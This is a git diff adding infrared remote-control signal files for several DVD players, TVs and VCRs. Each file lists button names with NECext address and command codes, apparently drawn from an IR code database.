NECext +address: 01 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir new file mode 100644 index 000000000..b6506eb61 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: enterplay +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: frev +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: vmode +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: a-brpt +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: sfwd +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: pal_ntsc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: dsp +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: srev +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: equ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_001/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_001/4,15.ir new file mode 100644 index 000000000..e13b87ef7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_001/4,15.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: Ent +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_0Plus +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: SkipMinus +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: SkipPlus +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: Sel +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: PreviousChannel +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: Input +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 46 00 00 00 +# +name: Swap +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 47 00 00 00 +# +name: Freeze +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 49 00 00 00 +# +name: Move +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir new file mode 100644 index 000000000..97f22ed9f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0A 00 00 00 +# +name: TELETEX_MIX +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0B 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 17 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1D 00 00 00 +# +name: TELETEX_ON +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 46 00 00 00 +# +name: TELETEX_OFF +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 46 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 49 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 4A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 4B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 4C 00 00 00 +# +name: TELETEX_HOLD +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir new file mode 100644 index 000000000..f3ccfb7d2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1E 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 34 00 00 00 +# +name: ChnDn +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 35 00 00 00 +# +name: Ent +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 39 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 64 00 00 00 +# +name: AB +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 70 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir new file mode 100644 index 000000000..8b4cbdce7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir @@ -0,0 +1,314 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_1- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_2- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: tv_off +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: vcr_off +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0C 00 00 00 +# +name: toggle_sound +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: reverse_corner +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: uhr_corner +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: fa +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: uhr_music +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: quiz +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: program+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: program- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: contrast+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: ra_sl_us +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 29 00 00 00 +# +name: color- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: brightness- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: brightness+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: color+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: contrast- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 35 00 00 00 +# +name: corner +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 36 00 00 00 +# +name: KEY_M +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 37 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: s100 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_111/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_111/135,124.ir new file mode 100644 index 000000000..9080dbfaa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_111/135,124.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 0F 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 10 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 11 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 12 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 13 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 15 00 00 00 +# +name: EmptyWindow +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 20 00 00 00 +# +name: Shift7 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 21 00 00 00 +# +name: Shift9 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 22 00 00 00 +# +name: Shift8 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 23 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 24 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 4C 00 00 00 +# +name: ShiftStop +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 52 00 00 00 +# +name: ShiftPlay +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 53 00 00 00 +# +name: ShiftPause +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 55 00 00 00 +# +name: ShiftFF +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 56 00 00 00 +# +name: ShiftRew +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 57 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 80 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 88 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 89 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8C 00 00 00 +# +name: Ent +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 8D 00 00 00 +# +name: Shift0 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 91 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 94 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 99 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9C 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 9F 00 00 00 +# +name: Shift2 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C0 00 00 00 +# +name: Shift3 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C1 00 00 00 +# +name: Transparent +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: C2 00 00 00 +# +name: FullWindow +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CC 00 00 00 +# +name: Shift4 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CE 00 00 00 +# +name: Shift5 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: CF 00 00 00 +# +name: ShiftChnUp +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D0 00 00 00 +# +name: ChnDn +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D1 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D2 00 00 00 +# +name: ShiftChnDn +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D5 00 00 00 +# +name: ShiftVolUp +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D6 00 00 00 +# +name: ShiftVolDn +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D7 00 00 00 +# +name: ShiftInfo +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DA 00 00 00 +# +name: AB +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: DD 00 00 00 +# +name: Shift6 +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir new file mode 100644 index 000000000..7185c467e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 26 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 27 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: KEY_3play +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 